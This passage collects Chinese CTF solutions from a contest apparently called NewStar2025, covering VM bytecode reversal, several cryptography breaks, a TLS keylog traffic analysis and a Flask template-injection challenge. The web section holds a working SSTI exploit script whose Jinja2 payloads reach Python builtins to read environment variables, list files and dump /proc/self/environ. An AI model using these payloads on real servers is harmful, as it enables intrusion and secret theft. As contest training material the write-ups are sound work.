if offset > 127:
offset -= 256
self.ip += offset
elif opcode == 13: # PUSHLEN
self.push(len(self.user_input))
elif opcode == 14: # LOAD_IND
addr = self.pop()
self.push(self.mem[addr])
elif opcode == 15: # STORE_IND
addr = self.pop()
val = self.pop()
self.mem[addr] = val
elif opcode == 255: # HALT
self.halted = True
else:
self.halted = True
if self.stack:
return bool(self.pop())
return False
def solve_flag():
"""求解FLAG"""
targets = [
0x69, 0x11, 0x41, 0x09, 0xa1, 0x60, 0xa1, 0x81, 0x31, 0x39,
0x8b, 0x21, 0xd1, 0x39, 0x20, 0xb1, 0xf9, 0xd9, 0x71, 0x66,
0x18, 0x99, 0x56, 0xe9, 0x71, 0x30, 0x56, 0x38, 0xa1, 0xab,
0x86
]
key = 0x4B
flag_chars = []
print("逆向求解FLAG")
print("=" * 60)
for i in range(len(targets)):
encrypted = targets[i]
# 逆向ROL 3
temp = ((encrypted >> 3) | ((encrypted & 0x07) << 5)) & 0xFF
# 逆向XOR和ADD
original = ((temp ^ key) - i) & 0xFF
flag_chars.append(chr(original))
print(f"位置 {i:2d}: 0x{encrypted:02x} -> 0x{original:02x} ('{chr(original)}')")
flag = ''.join(flag_chars)
return flag
def main():
print("TinyVM 解题脚本")
print()
flag = solve_flag()
print()
print("=" * 60)
print(f"FLAG: {flag}")
print("=" * 60)
print()
# 验证
BYTECODE = b'\x01i\x032\x01\x11\x033\x01A\x034\x01\t\x035\x01\xa1\x036\x01`\x037\x01\xa1\x038\x01\x81\x039\x011\x03:\x019\x03;\x01\x8b\x03<\x01!\x03=\x01\xd1\x03>\x019\x03?\x01 \x03@\x01\xb1\x03A\x01\xf9\x03B\x01\xd9\x03C\x01q\x03D\x01f\x03E\x01\x18\x03F\x01\x99\x03G\x01V\x03H\x01\xe9\x03I\x01q\x03J\x010\x03K\x01V\x03L\x018\x03M\x01\xa1\x03N\x01\xab\x03O\x01\x86\x03P\r\x01\x1f\t\n=\x01K\x03\x02\x01\x00\x03\x00\x02\x00\x01\x1f\t\x0b+\x01\x10\x02\x00\x04\x0e\x02\x00\x04\x02\x02\x05\x03\x01\x02\x01\x01\x03\x06\x02\x01\x01\x05\x07\x08\x012\x02\x00\x04\x0e\t\n\x0c\x02\x00\x01\x01\x04\x03\x00\x0c\xce\x01\x01\xff\x01\x00\xff'
vm = TinyVM(BYTECODE, flag.encode('utf-8'))
result = vm.run()
if result:
print("验证成功!")
print()
print("*" * 60)
print(f"最终答案: {flag}")
print("*" * 60)
else:
print("验证失败")
if __name__ == "__main__":
main()
手动把答案的h换成l,得到:flag{Bytec0de_And_St4ck_M4g1c!}

挑战题
[Cry]final_R
题目描述:NewStar2025 密码收官之作。
被GPT秒了😎


GPT思考链:
逆向推标志字符串
# Let's implement the cipher function from the user's code and try to recover the flag via heuristic search.
from itertools import accumulate
import operator, random, time
a=7
b=0b10000011
c=59
d=(1<<a)-1
e=list(accumulate(range(d), lambda r,l: (r<<1)^b if (r<<1)&(1<<a) else r<<1, initial=1))[1:]
g=e+e
h=[0]*(1<<a)
for l,r in enumerate(e):
h[r]=l
def encode_from_flag(z):
j=[g[ord(s)%d] for s in z]
# compute k
k=[]
for p in range(c):
val=0
for l in range(c):
if j[l] and j[(p-l)%c]:
val ^= g[h[j[l]] + h[j[(p-l)%c]]]
q = h[val] if val else 0
k.append(q)
return bytes(k)
# Provided ciphertext from the print:
ct = b"MfYGCnO`
进行启发式搜索优化
printable = [i for i in range(32,127)]
target = list(ct)
random.seed(0)
def score_flag(arr):
s = encode_from_flag(''.join(chr(x) for x in arr))
# score = number of matching bytes
return sum(1 for i in range(c) if s[i]==target[i])
def hill_climb(init=None, iters=2000):
if init is None:
arr = [random.choice(printable) for _ in range(c)]
else:
arr = init[:]
best = score_flag(arr)
no_improve=0
for it in range(iters):
i = random.randrange(c)
improved=False
# try candidates (maybe prioritize ascii letters and common flag chars)
candidates = list(range(32,127))
random.shuffle(candidates)
for cand in candidates[:60]: # try 60 random candidates
old = arr[i]
if cand==old: continue
arr[i]=cand
sc = score_flag(arr)
if sc>best:
best=sc; improved=True; break
else:
arr[i]=old
if not improved:
no_improve+=1
else:
no_improve=0
if best==c: break
if no_improve>500:
break
return arr,best
# try multiple restarts
best_global=None; best_score= -1
start=time.time()
for r in range(80):
arr = None
if r==0:
# try plausible start with "flag{"
s = [ord('f'),ord('l'),ord('a'),ord('g'),ord('{')] + [random.choice(printable) for _ in range(c-5)]
arr=s
arr,sc = hill_climb(arr, iters=2000)
if sc>best_score:
best_score=sc; best_global=arr[:]
if best_score==c:
break
if time.time()-start>20:
break
best_score, ''.join(chr(x) for x in best_global)[:100]
(59, 'flag{Circu1@r_c0nv01u7i0n_0N_v3c70R==5Qu@Ring_A_p01yn0mia!}')
[re] Not Symmetric
题目描述:你知道非对称加密吗?
加密算法分析
1. 整体流程
输入消息 → 填充到4字节倍数 → 分块(4字节) → 每块独立加密 → 输出两个列表
2. 核心函数
pad_message()
- 功能:将消息填充到4字节的倍数
- 填充字符:空格(0x20)
- 计算:
padding_size = (4 - len(msg) % 4) % 4
bytes_to_long()
- 功能:字节转整数(大端序)
- 实现:从左到右,每次左移8位加上下一个字节
- 例如:
[0x66, 0x6c, 0x61, 0x67]→0x666c6167=1718378855
KMPC(iterations, prime)
-
这是核心加密函数
-
算法:
p₀ = prime for i in 1 to iterations-1: 找最小的 k 使得 k*p_{i-1} + 1 是质数 p_i = k*p_{i-1} + 1 return p_{iterations-1} -
这是一个迭代的质数链生成算法
3. 加密流程(每块)
对于第 i 块(4字节):
-
转为整数
n = bytes_to_long(block) -
找下一个质数
p = nextprime(n) -
记录偏移量
offset = p - n→ 存入列表1 -
计算迭代次数:
iterations = ((key[i % 20] ^ 0xCC) + i + rand() % 65) key = "DonTry_To_Brute_Time" -
使用KMPC加密:
encrypted = KMPC(iterations, p)→ 存入列表2
解密算法
关键思路
KMPC的逆向:
- 正向:
p_i = k*p_{i-1} + 1 - 逆向:
p_{i-1}整除(p_i - 1)
因此,可以通过质因数分解来找前驱质数!
解密步骤
- 逆向KMPC - BFS搜索所有可能的前驱质数
def reverse_kmpc_all_candidates(encrypted_value):
candidates = [encrypted_value]
results = []
while candidates:
current = candidates.pop(0)
# 如果在4字节范围内且是质数,加入结果
if 2^24 <= current <= 2^32 and isprime(current):
results.append(current)
# 分解 (current - 1) 找所有可能的前驱
factors = factorint(current - 1)
for prime_factor in factors.keys():
if prime_factor > 1000:
candidates.append(prime_factor)
return results
- 优先选择ASCII可打印的候选
- 对于每个候选质数
p - 计算原始数字:
n = p - offset - 转为字节:
bytes = long_to_bytes(n, 4) - 检查是否都是可打印ASCII字符(32-126)
- 优先返回可打印的候选
- 对于每个候选质数
- 恢复原始消息
- 对每个块:
原始数字 = 候选质数 - offset - 转为4字节(大端序)
- 拼接所有块
- 去除填充空格
- 对每个块:
完整解密脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from sympy import isprime, factorint
from Crypto.Util.number import long_to_bytes
def reverse_kmpc_all_candidates(encrypted_value, target_range=(2**24, 2**32)):
"""
逆向KMPC函数 - 返回所有可能的候选
"""
candidates = [encrypted_value]
visited = set()
results = []
# BFS搜索所有可能的前驱
while candidates:
current = candidates.pop(0)
if current in visited:
continue
visited.add(current)
# 如果在目标范围内,加入结果
if target_range[0] <= current <= target_range[1] and isprime(current):
results.append(current)
# 如果太小了,停止
if current < target_range[0]:
continue
# 寻找前驱: current = k * prev + 1, 所以 prev | (current-1)
factors = factorint(current - 1)
# 尝试所有质因子作为可能的前驱
for prime_factor in factors.keys():
if prime_factor > 1000: # 只考虑足够大的因子
candidates.append(prime_factor)
return sorted(results)
def reverse_kmpc(encrypted_value, offset, target_range=(2**24, 2**32)):
"""
逆向KMPC函数 - 返回最可能的质数(优先选择ASCII可打印的)
"""
candidates = reverse_kmpc_all_candidates(encrypted_value, target_range)
# 优先选择能生成ASCII可打印字符的候选
for prime in candidates:
original_num = prime - offset
if original_num > 0:
try:
chunk_bytes = long_to_bytes_be(original_num, 4)
if all(32 <= b < 127 for b in chunk_bytes):
return prime
except:
pass
# 如果没有ASCII的,返回最小的
if candidates:
return candidates[0]
return None
def long_to_bytes_be(n, length=4):
"""大端序转换回字节"""
result = []
for _ in range(length):
result.append(n & 0xff)
n >>= 8
return bytes(reversed(result))
def main():
# 读取result.txt
with open('result.txt', 'r') as f:
lines = f.readlines()
# 解析两个列表
offsets = eval(lines[0].strip())
encrypted = eval(lines[1].strip())
print(f"[*] 找到 {len(offsets)} 个块")
print(f"[*] Offsets: {offsets[:5]}...")
print(f"[*] 开始解密...\n")
message_bytes = []
for i in range(len(offsets)):
print(f"[+] 处理块 {i+1}/{len(offsets)}")
# 逆向KMPC得到原始质数
encrypted_val = encrypted[i]
offset = offsets[i]
print(f" 加密值长度: {len(str(encrypted_val))} 位")
print(f" 加密值 (hex): {hex(encrypted_val)[:50]}...")
prime = reverse_kmpc(encrypted_val, offset)
print(f" 逆向得到质数: {prime}")
print(f" 质数 (hex): {hex(prime)}")
print(f" 质数 (bits): {prime.bit_length()}")
# 用offset恢复原始数字
original_num = prime - offset
print(f" 原始数字: {original_num}")
print(f" 原始数字 (hex): {hex(original_num)}")
# 转换为字节
try:
chunk_bytes = long_to_bytes_be(original_num, 4)
message_bytes.extend(chunk_bytes)
print(f" 字节 (hex): {chunk_bytes.hex()}")
print(f" 字节 (repr): {chunk_bytes}")
except Exception as e:
print(f" 转换失败: {e}")
print()
# 组合并输出结果
message = bytes(message_bytes)
print("="*60)
print(f"[*] 解密结果 (原始字节):")
print(message)
print()
print(f"[*] 解密结果 (去除填充):")
print(message.rstrip(b' '))
print()
print(f"[*] 解密结果 (ASCII):")
try:
flag = message.rstrip(b' ').decode('ascii')
print(flag)
print()
print(f"[!] FLAG: {flag}")
except:
print("无法解码为ASCII,尝试其他编码...")
print(message.rstrip(b' '))
if __name__ == "__main__":
main()

[Misc]不是所有牛奶都叫________
题目描述:什么牛奶?MN?YGNC?YL?特@$&!$&*!@$^&-------------------.(flag提交时去掉&符号)
筛选http流,在第97个流发现有段巨长的SSL key

写一个脚本分离一下
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SSL密钥提取脚本
从包含TLS secrets的JSON响应中提取SSL密钥日志
"""
import json
import sys
import os
import io
# 设置Windows控制台输出编码为UTF-8
if sys.platform == 'win32':
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8')
def extract_ssl_keys(input_file, output_file=None):
"""
从输入文件中提取SSL密钥
Args:
input_file: 输入文件路径
output_file: 输出文件路径(可选,默认为 sslkeylog.txt)
"""
if output_file is None:
output_file = "sslkeylog.txt"
try:
with open(input_file, 'r', encoding='utf-8') as f:
content = f.read()
# 尝试找到JSON部分(从第一个{开始)
json_start = content.find('{')
if json_start != -1:
json_content = content[json_start:]
# 解析JSON
data = json.loads(json_content)
# 提取content字段
if 'content' in data:
ssl_keys = data['content']
# 保存到输出文件
with open(output_file, 'w', encoding='utf-8') as f:
f.write(ssl_keys)
# 统计密钥数量
lines = ssl_keys.strip().split('\n')
key_count = sum(1 for line in lines if line.strip() and not line.startswith('#'))
print(f"✓ 成功提取SSL密钥")
print(f" 输入文件: {input_file}")
print(f" 输出文件: {output_file}")
print(f" 密钥条目: {key_count} 条")
# 统计各类密钥数量
key_types = {}
for line in lines:
if line.strip() and not line.startswith('#'):
key_type = line.split()[0]
key_types[key_type] = key_types.get(key_type, 0) + 1
print(f"\n密钥类型统计:")
for key_type, count in sorted(key_types.items()):
print(f" {key_type}: {count}")
return True
else:
print("✗ 错误: JSON中未找到'content'字段")
return False
else:
# 如果不是JSON格式,可能整个文件就是SSL key log
print("⚠ 未检测到JSON格式,尝试直接处理...")
# 检查是否是有效的SSL key log格式
lines = content.strip().split('\n')
valid_lines = [line for line in lines if line.strip() and
any(line.startswith(kt) for kt in [
'SERVER_HANDSHAKE_TRAFFIC_SECRET',
'CLIENT_HANDSHAKE_TRAFFIC_SECRET',
'SERVER_TRAFFIC_SECRET_0',
'CLIENT_TRAFFIC_SECRET_0',
'EXPORTER_SECRET'
])]
if valid_lines:
with open(output_file, 'w', encoding='utf-8') as f:
f.write(content)
print(f"✓ 已保存 {len(valid_lines)} 条密钥记录到 {output_file}")
return True
else:
print("✗ 错误: 未找到有效的SSL密钥记录")
return False
except FileNotFoundError:
print(f"✗ 错误: 找不到文件 {input_file}")
return False
except json.JSONDecodeError as e:
print(f"✗ JSON解析错误: {e}")
return False
except Exception as e:
print(f"✗ 发生错误: {e}")
return False
def main():
"""主函数"""
if len(sys.argv) < 2:
print("用法: python extract_ssl_keys.py <输入文件> [输出文件]")
print("示例: python extract_ssl_keys.py ssl.txt sslkeylog.txt")
sys.exit(1)
input_file = sys.argv[1]
output_file = sys.argv[2] if len(sys.argv) > 2 else None
success = extract_ssl_keys(input_file, output_file)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()

把ssl_key.log导入到wireshark里面:编辑 —> 首选项 —> Protocols —> TLS

继续查看http流,在第50个流里可以看到一段base64

用cyberchef解码出一张二维码,扫码获得flag


[Cry]混沌密码学入门
乱糟糟的,这是什么?(flag只含可读明文,下划线,问号,感叹号。)
提示:出题人的环境是windows.
1. 加密原理分析
加密脚本使用了 Feigenbaum混沌方程 生成混沌序列,然后根据序列对像素进行置换:
# 生成混沌序列
xl, _ = Feigenbaum_Equation(0.9, 1.01, 0.1, 0.2, 0.22, 0.43, 2*n, n)
# 对混沌序列排序,得到置换索引
M1i = sorted(enumerate(xl), key=lambda x: x[1])
Mi = [index for index, value in M1i]
# 根据索引重新排列像素
encrypted[j] = original[Mi[j]]
2. 解密逻辑
解密是加密的逆过程:
- 加密时:
encrypted[j] = original[Mi[j]] - 解密时:
original[Mi[j]] = encrypted[j]
3. 关键陷阱:图像被转置了!
这是本题最隐蔽的地方:
原始的 flag.png 在加密前被 TRANSPOSE (转置) 处理过!或者说,加密和解密时的像素遍历顺序不同。
PIL坐标系统说明
pixels[x, y]中,x是列(水平),y是行(垂直)getdata()返回的是行优先顺序(从左到右,从上到下)for x in range(w): for y in range(h)是列优先顺序
加密脚本使用的是 for x in range(w): for y in range(h) 的遍历方式,这相当于对图像做了隐式的转置操作。
4. 解密步骤
- 读取
chaos_chaos.png - 先对图像进行 TRANSPOSE 变换
- 使用相同参数生成混沌序列
- 根据排序索引进行逆置换
- 对结果进行水平翻转 (FLIP_HORIZONTAL)
5. 解密脚本
"""
混沌图像解密 - 最终版本
关键发现:需要对图像进行transpose变换后再解密,最后水平翻转
"""
from math import sin, pi
from PIL import Image
def Feigenbaum_Equation(a, b, r1, r2, x1, y1, n, t):
"""Feigenbaum混沌方程"""
x = [x1]
y = [y1]
for _ in range(n):
x.append(3*a*sin(pi*x[-1]) + r1*y[-1])
y.append(3*b*sin(pi*y[-1]) + r2*y[-1])
return x[-t:], y[-t:]
print("="*60)
print("混沌图像解密程序")
print("="*60)
# 步骤1: 读取加密图像
print("\n[1] 读取加密图像...")
img = Image.open("chaos_chaos.png")
print(f" 图像尺寸: {img.size}")
print(f" 图像模式: {img.mode}")
# 步骤2: 关键!先进行transpose变换
print("\n[2] 对图像进行 TRANSPOSE 变换...")
img_transposed = img.transpose(Image.TRANSPOSE)
w, h = img_transposed.size
n = w * h
print(f" 变换后尺寸: {img_transposed.size}")
# 步骤3: 生成混沌序列
print("\n[3] 生成混沌序列...")
xl, _ = Feigenbaum_Equation(0.9, 1.01, 0.1, 0.2, 0.22, 0.43, 2*n, n)
print(f" 序列长度: {len(xl)}")
# 步骤4: 读取加密后的像素
print("\n[4] 读取像素数据...")
encrypted_pixels = list(img_transposed.getdata())
print(f" 像素数量: {len(encrypted_pixels)}")
# 步骤5: 构建排序索引(与加密过程相同)
print("\n[5] 构建置换索引...")
M1i = sorted(enumerate(xl), key=lambda x: x[1])
Mi = [index for index, value in M1i]
# 步骤6: 解密 - 逆置换
print("\n[6] 执行逆置换解密...")
original_pixels = [None] * n
for j in range(n):
original_pixels[Mi[j]] = encrypted_pixels[j]
# 步骤7: 生成解密图像
print("\n[7] 生成解密图像...")
img_decrypted = Image.new(img_transposed.mode, (w, h))
img_decrypted.putdata(original_pixels)
# 步骤8: 关键!水平翻转
print("\n[8] 水平翻转得到最终结果...")
img_final = img_decrypted.transpose(Image.FLIP_LEFT_RIGHT)
# 保存结果
img_final.save("flag.png")
print("\n" + "="*60)
print("✓ 解密成功!")
print("✓ Flag已保存到: flag.png")
print("="*60)
# 同时保存一些中间结果用于调试
img_decrypted.save("flag_before_flip.png")
print("\n调试信息:")
print(" - flag_before_flip.png: 翻转前的图像")
print(" - flag.png: 最终可读的flag")

手动抄写一下:flag{Does_it_look_chaotic?This_just_the_beginning!}
web_who’ssti_challenge
题目描述:什么叫你出题目的时候把 flag 给注释掉了?
源码审计
查看 app.py 源码,发现以下关键点:
# Line 10-12: Flag 存储逻辑
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
# 清除 ICQ_FLAG
__import__("os").environ["ICQ_FLAG"] = ""
# Line 7-8: 随机选择5个函数名
need_List = random.sample(func_List, 5)
need_List = dict.fromkeys(need_List, 0)
# Line 31-36: SSTI 漏洞点
sys.settrace(trace_calls)
print(render_template_string(submit)) # 用户输入直接渲染
sys.settrace(None)
if BoleanFlag: # 永远为 False,因为 line 20-22 被注释
return jsonify({"flag": RealFlag})
return jsonify({"status": "OK"})
关键问题识别
- SSTI 漏洞存在:
render_template_string(submit)直接渲染用户输入 - 无回显:渲染结果被
print()到服务器控制台,HTTP 响应永远是{"status": "OK"} - Flag 被”销毁”:
- Flag 从环境变量读入
RealFlag后,立即清空os.environ["ICQ_FLAG"] - 直接读取环境变量得不到 flag
- Flag 从环境变量读入
- 正常返回 flag 的路径不可达:
- Line 20-22 被注释,
BoleanFlag永远为False if BoleanFlag:分支永远不会执行
- Line 20-22 被注释,
最终解法
Step 1: 理解访问路径
url_for.__globals__['current_app'] # Flask 应用实例
.view_functions['index'] # index 路由函数对象
.__globals__ # app.py 模块的全局命名空间
这个路径可以访问到:
need_List- 要显示的函数列表(可修改)RealFlag- 保存的 flag(但已为空串)BoleanFlag- 控制标志__builtins__- 内置函数
Step 2: 发现环境变量恢复点
关键认知:
- Python 的
os.environ["ICQ_FLAG"] = ""只是删除了 Python 字典中的键 - Linux 进程的环境变量
/proc/self/environ是只读的,保留了启动时的完整环境
验证:
# 在 Python 中删除环境变量
import os
os.environ["TEST"] = "value"
del os.environ["TEST"]
# 但在 /proc/self/environ 中仍能看到
with open('/proc/self/environ', 'r') as f:
print(f.read()) # 包含 TEST=value
Step 3: 构造最终 Payload
{% set g=... %}- 获取app.py的全局命名空间open('/proc/self/environ').read()- 读取进程环境变量g['need_List'].update({...})- 将内容写入need_List- 键名为
'PROC_ENV=' ~ content,值为1
Step 4: 完整利用脚本
import requests
import re
import warnings
from urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore', InsecureRequestWarning)
BASE = "https://eci-2ze19de9rgdrt4xknowe.cloudeci1.ichunqiu.com:5000/"
s = requests.Session()
def inject_and_read(payload_desc, payload):
"""注入 payload,然后读取首页回显"""
print(f"\n[*] {payload_desc}")
print(f"[*] Payload: {payload[:100]}...")
r = s.post(BASE, data={"submit": payload}, verify=False, timeout=10)
html = s.get(BASE, verify=False, timeout=10).text
# 提取 need_List 的所有键
keys = re.findall(r'<p>([^<]+)</p>', html)
print(f"[+] need_List 键列表: {keys}")
# 查找 flag 模式
flags = re.findall(r'(flag\{[^\}]+\}|FLAG\{[^\}]+\}|icq\{[^\}]+\}|ICQ\{[^\}]+\})', html, re.IGNORECASE)
if flags:
print(f"[!!!] 找到 FLAG: {flags[0]}")
return flags[0]
return None
# 策略1: 读取环境变量 os.environ
print("="*70)
print("策略1: 读取所有环境变量找 flag")
print("="*70)
payload1 = """{% set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ %}
{% set os=g['__builtins__']['__import__']('os') %}
{% for k,v in os.environ.items() %}
{% if 'flag' in k.lower() or 'flag' in v.lower() %}
{{ g['need_List'].update({k ~ '=' ~ v: 1}) }}
{% endif %}
{% endfor %}"""
flag = inject_and_read("读取环境变量中的 flag", payload1)
if flag:
exit(0)
# 策略2: 列出当前目录文件
print("\n" + "="*70)
print("策略2: 列出当前目录文件")
print("="*70)
payload2 = """{% set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ %}
{% set os=g['__builtins__']['__import__']('os') %}
{% set files=os.listdir('.') %}
{{ g['need_List'].update({'FILES=' ~ (files|join(',')): 1}) }}"""
inject_and_read("列出当前目录", payload2)
# 策略3: 尝试读取常见 flag 文件
print("\n" + "="*70)
print("策略3: 尝试读取常见 flag 文件")
print("="*70)
for fname in ['flag.txt', 'flag', '/flag', '/tmp/flag', '/flag.txt', 'FLAG']:
payload3 = f"""{{%- set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ -%}}
{{%- set b=g['__builtins__'] -%}}
{{%- set content=b.open('{fname}').read() -%}}
{{{{- g['need_List'].update({{'{fname}=' ~ content: 1}}) -}}}}"""
flag = inject_and_read(f"读取文件 {fname}", payload3)
if flag:
exit(0)
# 策略4: 读取 /proc/self/environ
print("\n" + "="*70)
print("策略4: 读取 /proc/self/environ")
print("="*70)
payload4 = """{% set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ %}
{% set content=g['__builtins__'].open('/proc/self/environ').read() %}
{{ g['need_List'].update({'PROC_ENV=' ~ content: 1}) }}"""
flag = inject_and_read("读取 /proc/self/environ", payload4)
if flag:
exit(0)
# 策略5: 直接读取 sys.modules['__main__'].__file__ 所在目录的所有文件
print("\n" + "="*70)
print("策略5: 列出 app.py 所在目录")
print("="*70)
payload5 = """{% set g=url_for.__globals__['current_app'].view_functions['index'].__globals__ %}
{% set os=g['__builtins__']['__import__']('os') %}
{% set path=os.path.dirname(g['__file__']) or '.' %}
{% set files=os.listdir(path) %}
{{ g['need_List'].update({'APP_DIR_FILES=' ~ (files|join(',')): 1}) }}"""
inject_and_read("列出 app.py 目录", payload5)
print("\n" + "="*70)
print("所有策略执行完毕,请检查上述回显")
print("="*70)

[Cry]随机数之旅1.3
题目描述:最旧最冷配置
from Crypto.Util.number import *
p = 478475545597700801137542329947268027178596565166277501475984783168264336204134464479893480035711325623
hint = [
249919247565764496968024420668100990050724930264873012553221627994767139138419916559737152956192938786,
341098538517870638403021803297435486563954299904421591195678329627022088404800269966659959073623486227,
20018219100052262465673657639106096626775270934552714906385093540517665089433306304783945869390965352,
477110987927537932362183022083084081803652185884243696031637228688890267574215943741789667631285188517,
316109317526042308856009312339591028959770431193022541894694590723163440242617594274841279773268292931,
288838512929949193288464156452590499193348618769922838206940876596503314942400180385295933551444987426,
181266945000896484248052902194760405660042158622313374086868842724033187572461235292532472052806294610,
363891817161955280083221864938995130581363107122643810787521989924285652140760869565757181912307151144,
176158258425616548246181359314308658522975855113878838400631572536985398273419876407488652665740506588,
226304243444318985869957901105733987782986057182483943969163921743774283862329285859875298207849486395,
235563126973016483026307105002236457145848856279569924823679216801904771557144382780782533443602319128
]
x0, x1, x2 = hint[0], hint[1], hint[2]
# 计算 a
diff1 = (x1 - x0) % p
diff2 = (x2 - x1) % p
inv_diff1 = pow(diff1, p-2, p)
a = (diff2 * inv_diff1) % p
# 计算 m
m = (x1 - a * x0) % p
# 还原 flag
flag = long_to_bytes(m).decode()
print("flag =", flag)

[Cry]随机数之旅1.9
题目描述:最旧最冷配置pro max
from Crypto.Util.number import *
# --- 已知信息 ---
p = 478475545597700801137542329947268027178596565166277501475984783168264336204134464479893480035711325623
hint = [
249919247565764496968024420668100990050724930264873012553221627994767139138419916559737152956192938786,
341098538517870638403021803297435486563954299904421591195678329627022088404800269966659959073623486227,
20018219100052262465673657639106096626775270934552714906385093540517665089433306304783945869390965352,
477110987927537932362183022083084081803652185884243696031637228688890267574215943741789667631285188517,
316109317526042308856009312339591028959770431193022541894694590723163440242617594274841279773268292931,
288838512929949193288464156452590499193348618769922838206940876596503314942400180385295933551444987426,
181266945000896484248052902194760405660042158622313374086868842724033187572461235292532472052806294610,
363891817161955280083221864938995130581363107122643810787521989924285652140760869565757181912307151144,
176158258425616548246181359314308658522975855113878838400631572536985398273419876407488652665740506588,
226304243444318985869957901105733987782986057182483943969163921743774283862329285859875298207849486395,
235563126973016483026307105002236457145848856279569924823679216801904771557144382780782533443602319128
]
# --- 攻击过程 ---
# 从 hint 数列中取出连续的三项
x0 = hint[0]
x1 = hint[1]
x2 = hint[2]
# 1. 计算 a
# a = (x2 - x1) * (x1 - x0)^{-1} mod p
diff1 = (x1 - x0) % p
diff2 = (x2 - x1) % p
# 计算 (x1 - x0) 的模逆元
inv_diff1 = pow(diff1, p - 2, p)
# 计算 a
a = (diff2 * inv_diff1) % p
# 2. 计算 m (即 c)
# m = (x1 - a * x0) mod p
m = (x1 - a * x0) % p
# 3. 还原 flag
# 将大整数 m 转换回字节串,然后解码为字符串
flag = long_to_bytes(m).decode()
# --- 输出结果 ---
print(f"Calculated a: {a}")
print(f"Calculated m: {m}")
print(f"Recovered flag: {flag}")

[Cry]随机数之旅2
题目描述:mt19.937,哇哦。
# recover_flag.py
# 运行: python3 recover_flag.py
MASK32 = 0xFFFFFFFF
def _int32(x):
return x & MASK32
# 反向:y = x ^ (x >> shift)
def unright_xor(y, shift):
res = 0
for i in range(31, -1, -1):
bit_y = (y >> i) & 1
if i + shift < 32:
bit_x_plus = (res >> (i + shift)) & 1
else:
bit_x_plus = 0
bit = bit_y ^ bit_x_plus
res |= (bit << i)
return _int32(res)
# 反向:y = x ^ ((x << shift) & mask)
def unleft_xor_and(y, shift, mask):
res = 0
for i in range(0, 32):
bit_y = (y >> i) & 1
if i - shift >= 0:
bit_x_minus = (res >> (i - shift)) & 1
else:
bit_x_minus = 0
mask_bit = (mask >> i) & 1
bit = bit_y ^ (bit_x_minus & mask_bit)
res |= (bit << i)
return _int32(res)
def untemper(y):
# temper sequence in extract_number:
# y = mt[i]
# y = y ^ (y >> 11)
# y = y ^ (y << 7) & 0x0d000721
# so invert in reverse order: first invert left-shift+and, then invert right-shift
y = _int32(y)
y = unleft_xor_and(y, 7, 0x0d000721)
y = unright_xor(y, 11)
return _int32(y)
# Re-implement the generator behavior for extraction given internal mt
class Clone:
def __init__(self, mt):
self.mt = [ _int32(x) for x in mt ]
self.mti = 0
# constants same as in original
self.N = 114
def twist(self):
for i in range(0, self.N):
y = _int32((self.mt[i] & 0x90000000) + (self.mt[(i + 1) % self.N] & 0x8fffffff))
self.mt[i] = _int32((y >> 1) ^ self.mt[(i + 66) % self.N])
if y % 2 != 0:
self.mt[i] = _int32(self.mt[i] ^ 0x0d000721)
def extract_number(self):
if self.mti == 0:
self.twist()
y = self.mt[self.mti]
# temper
y = _int32(y ^ (y >> 11))
y = _int32(y ^ ((_int32(y << 7)) & 0x0d000721))
self.mti = (self.mti + 1) % self.N
return _int32(y)
if __name__ == "__main__":
# --- 把你给出的 hint 列表粘进来 ---
hint = [3087640461, 3390259250, 1438539830, 4233208353, 2167538746, 1799697423, 3269225280, 2288778833, 1085937367, 1944378284, 2700010619, 2059866475, 842139295, 2499615956, 546930396, 4218265097, 3782950633, 2176357850, 1313899063, 3431271261, 3939859540, 3402881241, 1858715039, 2719031679, 240548369, 285783730, 2626727253, 2929465001, 2446734965, 836047189, 867017221, 1818925543, 596378287, 395385566, 750647916, 3206204309, 2461646206, 2542870230, 2767124444, 1348627486, 2195449698, 1224650582, 672493933, 3766509405, 1446227046, 2643731109, 253013460, 3353090231, 4212486318, 2194454687, 467889179, 3178101384, 3478152799, 537984157, 2160482478, 2342101721, 1323208079, 1010888095, 4025143040, 970426479, 2024955565, 2539264131, 780427764, 4281975102, 2857652878, 3406208921, 1095856384, 2222682088, 2847893594, 3314746929, 562358156, 3828827999, 4199395, 1352113622, 2621402776, 3890169856, 3730475625, 1030082319, 2075118377, 703958339, 1632454424, 276576599, 786425749, 4236610533, 3516595401, 2675707905, 2740105150, 307753552, 3259978575, 44168116, 805033307, 2780974107, 1365320807, 2440115715, 1085336234, 3465576825, 4059143168, 2347457546, 501704091, 3190136496, 2224101972, 662764619, 2379322764, 2212857876, 158560917, 2071270518, 2884996935, 922217317, 914808686, 3647075295, 1766841987, 2999527721, 3867097498, 3305696126]
# 你打印出的 m ^ x(拷贝进来)
c = 174279382333440272527169405563126775575894462244164992062996670946512594329265894481264929021062073725
# step1: 反 temper 得到 mt(这是 twist 之后的 mt)
recovered_mt = [ untemper(y) for y in hint ]
# step2: 用 recovered_mt 作为当前 mt(和原程序在 hint 读取结束后的内部状态一致)
clone = Clone(recovered_mt)
# note: clone.mti defaults to 0; extract_number() will twist() then start returning new outputs
# 正好对齐原程序:下一步原程序会 twist() 然后取出 key(11 个数)
key = [ clone.extract_number() for _ in range(11) ]
# step3: 计算 x = product(key)
x = 1
for v in key:
x *= v
# step4: 恢复 m = c ^ x
m = c ^ x
# 把 long 转回 bytes 再 decode
# 先把 m 变为 byte 长度
m_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')
try:
flag = m_bytes.decode()
except:
# fallback: 打印 hex
flag = None
print("key outputs (11):", key)
print("x (product) bit-length:", x.bit_length())
print("Recovered m (int):", m)
if flag:
print("Recovered flag:", flag)
else:
print("Recovered bytes (hex):", m_bytes.hex())
print("Could not decode as utf-8 string.")

[Cry]置换DLP
题目描述:给定对称群S_n和其两个元素(也就是置换)g,h,求x满足g自己复合x次得到h。 例: 输出: S_3 (1 2 3 ) (1 3 2) 输入: 2 因为: (1 2 3 )(1 2 3 )=(1 3 2)=(1 2 3)^2
